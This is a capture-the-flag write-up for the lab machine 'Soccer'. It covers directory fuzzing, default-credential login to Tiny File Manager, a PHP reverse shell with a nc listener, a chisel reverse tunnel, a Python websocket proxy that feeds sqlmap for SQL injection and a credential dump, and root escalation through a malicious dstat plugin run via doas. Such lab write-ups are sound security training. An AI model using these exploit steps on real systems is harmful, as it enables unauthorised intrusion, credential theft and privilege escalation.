The machine Soccer required us to employ brute force techniques on directories within an HTTP service running on the target system in order to identify a vulnerable service. Exploiting this particular service allows us to establish a foothold on the machine by means of a PHP reverse shell. Once we have gained this foothold, it becomes necessary to perform enumeration on the services operating within the machine. Through the examination of the nginx configuration file, we can determine the presence of an internal service. By forwarding this service to our own machine, we discover that this service exhibits vulnerability to SQL injection through its utilization of a unsanitized websocket. By utilizing the tool sqlmap via a websocket proxy, we are able to retrieve user credentials, enabling us to SSH into the machine. With a shell obtained as the owner of these credentials, we can leverage a SUID program to escalate our privileges to root.

Recon

The HTTP service has as its domain soccer.htb, by changing the /etc/hosts file, we will be able to reach it.

nmap (TCP all ports)

nmap finds three open TCP ports, an SSH service (22), a HTTP sevice (80) and an unkown service (9091):

$ nmap -p- soccer.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-19 10:34 WET
Nmap scan report for soccer.htb (10.129.205.35)
Host is up (0.051s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmail

Nmap done: 1 IP address (1 host up) scanned in 144.48 seconds
$ 

nmap (found TCP ports exploration)

$ nmap -sC -sV -p 80,22,9091 soccer.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-19 10:46 WET
Nmap scan report for soccer.htb (10.129.205.35)
Host is up (0.050s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Soccer - Index 
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Mon, 19 Dec 2022 10:46:19 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Mon, 19 Dec 2022 10:46:19 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data.

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.67 seconds
$

HTTP - TCP 80

Technologies used:

By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:

Directory enumeration:

We can discover a hidden directory by fuzzing with ffuf:

$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://soccer.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

tiny                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 51ms]
                        [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 53ms]
:: Progress: [87664/87664] :: Job [1/1] :: 745 req/sec :: Duration: [0:02:00] :: Errors: 0 ::
$ 

Tiny File Manager

The following landing page is presented to us after arriving at the found directory.

Project Information

HTML

By checking the HTML source code given to us by the server we can discover the following:

<div class="footer text-center">
	&mdash;&mdash; &copy;
	<a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="2.4.3">CCP Programmers</a> &mdash;&mdash;
</div>
Project Documentation:

By following the source URL we can better understand the service being run. In this case we are presented with the service Tiny File Manager, a web-based file manager.

Default credentials:

By searching through the project wiki we can find the following default credentials:

admin:admin@123
user:12345

We can use these credentials to login as admin and be presented with the following dashboard:

Shell as www-data:

Obtain shell

The File Manager enables us to upload arbitrary files to it. Having that in mind and also that the service is built with PHP, we can try to upload a reverse shell. We can later invoke it by navigating to where it’s hosted within the service. To accomplish this we firstl need a payload. For this we can use this famous reverse shell. After that we just need to upload our reverse shell and listen to our host as follows:

$ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.205.35 39106
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 12:10:41 up  1:41,  0 users,  load average: 0.00, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ 

Shell as Player

Enumeration

At the target host we can see that in the nginx configuration files there’s a mention of a internal service being run:

$ cat /etc/nginx/sites-available/soc-player.htb
server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }
}
$ 

Pivoting

To reach this enabled service we need to use a tunnel for our requests. This tunnel will be between our host machine and our target machine. It will enable us to make requests for the internal service and they will be redirected to the service. For this we will use the tool chisel.

In our host machine we create a server with reverse tunneling enabled:

$ chisel server --reverse --port 9002
2022/12/19 12:32:06 server: Reverse tunnelling enabled
2022/12/19 12:32:06 server: Fingerprint BSxUc6CvePyBO0WgUhArmgv2OI5MkEiQikzSMAInrLs=
2022/12/19 12:32:06 server: Listening on http://0.0.0.0:9002

At our target machine we create a client pointing to our host machine:

www-data@soccer:/tmp$ ./chisel client 10.10.15.97:9002 R:3000:127.0.0.1:3000
2022/12/19 12:33:43 client: Connecting to ws://10.10.15.97:9002
2022/12/19 12:33:43 client: Connected (Latency 48.159213ms)

Private page

By making now a request to the page we are presented with the following:

Checking deeper with a dummy account, we find a ticket box that does seemingly doing nothing:

WebSocket

The Internal service is running WebSockets this can be seen with the help of burpsuite:

Although WebSocket’s can be secure the use of them is similar to a POST request and similar vulnerabilities can be discovered, one being SQLi.

SQLMAP through proxy

To automate SQLi vulnerability discover and exploitation we are going to use sqlmap with the help of a proxy.

Proxy

The sqlmap proxy was from this blogpost where the attack vector was similar so the attacker built a flask server to relay the request from sqlmap to the WebSocket. With some modification, for our case, we have the following:

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
	ws = create_connection(ws_server, cookie="<YOUR_COOKIE>")
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass

Now we just need to run the proxy server on our machine:

$ python3 proxy.py 
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*

And we now can relay the requests to the WebSocket client with the help of the proxy:

$ sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

...

Results

By using sqlmap we can see that it’s indeed vulnerable to SQLi, and we can recover the contents of the database with it:

$ sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -T accounts --dump
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.6.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:35:17 /2022-12-19/

[13:35:18] [INFO] resuming back-end DBMS 'mysql' 
[13:35:18] [INFO] testing connection to the target URL
[13:35:18] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.6')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2032 FROM (SELECT(SLEEP(5)))mdFJ)
---
[13:35:18] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:35:18] [INFO] fetching columns for table 'accounts' in database 'soccer_db'
[13:35:18] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)                              
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[13:35:29] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
4
[13:35:31] [INFO] retrieved: 
[13:35:41] [INFO] adjusting time delay to 1 second due to good response times
email
[13:36:00] [INFO] retrieved: id
[13:36:10] [INFO] retrieved: password
[13:36:50] [INFO] retrieved: username
[13:37:25] [INFO] fetching entries for table 'accounts' in database 'soccer_db'
[13:37:25] [INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
[13:37:25] [INFO] retrieved: 1
[13:37:28] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                     
player@player.htb
[13:38:59] [INFO] retrieved: 1324
[13:39:19] [INFO] retrieved: PlayerOftheMatch2022
[13:40:51] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

[13:41:20] [INFO] table 'soccer_db.accounts' dumped to CSV file '/home/pengrey/.local/share/sqlmap/output/localhost/dump/soccer_db/accounts.csv'
[13:41:20] [INFO] fetched data logged to text files under '/home/pengrey/.local/share/sqlmap/output/localhost'
[13:41:20] [WARNING] your sqlmap version is outdated

[*] ending @ 13:41:20 /2022-12-19/

$ 
Found credentials:
player@player.htb:PlayerOftheMatch2022

SSH as player

By using the found credentials found for the user player we can successfully login through SSH:

$ ssh player@soccer.htb
The authenticity of host 'soccer.htb (10.129.205.35)' can't be established.
ED25519 key fingerprint is SHA256:PxRZkGxbqpmtATcgie2b7E8Sj3pw1L5jMEqe77Ob3FE.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'soccer.htb' (ED25519) to the list of known hosts.
player@soccer.htb's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Dec 19 13:58:11 UTC 2022

  System load:           0.07
  Usage of /:            70.3% of 3.84GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             226
  Users logged in:       0
  IPv4 address for eth0: 10.129.205.35
  IPv6 address for eth0: dead:beef::250:56ff:fe96:f5b4


0 updates can be applied immediately.


Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$

Shell as root

SUID files

By lookin for SUID files we can see that the doas is present in this box.

player@soccer:~$ find / -user root -perm /4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/snap/snapd/17883/usr/lib/snapd/snap-confine
/snap/core20/1695/usr/bin/chfn
/snap/core20/1695/usr/bin/chsh
/snap/core20/1695/usr/bin/gpasswd
/snap/core20/1695/usr/bin/mount
/snap/core20/1695/usr/bin/newgrp
/snap/core20/1695/usr/bin/passwd
/snap/core20/1695/usr/bin/su
/snap/core20/1695/usr/bin/sudo
/snap/core20/1695/usr/bin/umount
/snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1695/usr/lib/openssh/ssh-keysign
player@soccer:~$ 

doas config file

We can try to search for the doas.conf file, this will enable us to see what type of commands we can run with root permitions.

player@soccer:~$ find / -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf

We can therefore see that that our user is able to run /usr/bin/dstat as root without the need of password:

player@soccer:~$ cat /usr/local/etc/doas.conf 
permit nopass player as root cmd /usr/bin/dstat
player@soccer:~$ 

dstat plugin

Dstat is an adaptable utility that generates statistics on system resources. Users can enhance its functionality by creating custom plugins and executing them using options like dstat --myplugin. We can take advatage of this funtionality and we can try to create a plugin under /usr/local/share/dstat/dstat_pengrey.py to try and run arbitrary code as root. You can learn more about it here.

import os

os.system("/bin/bash")

Privilege Escalation

Now to obtain root we simply need to execute the plugin:

player@soccer:/usr/local/share/dstat$ dstat --list | grep pengrey
        pengrey
player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --pengrey
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
Module dstat_pengrey failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
root@soccer:/usr/local/share/dstat# 
root@soccer:/usr/local/share/dstat# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root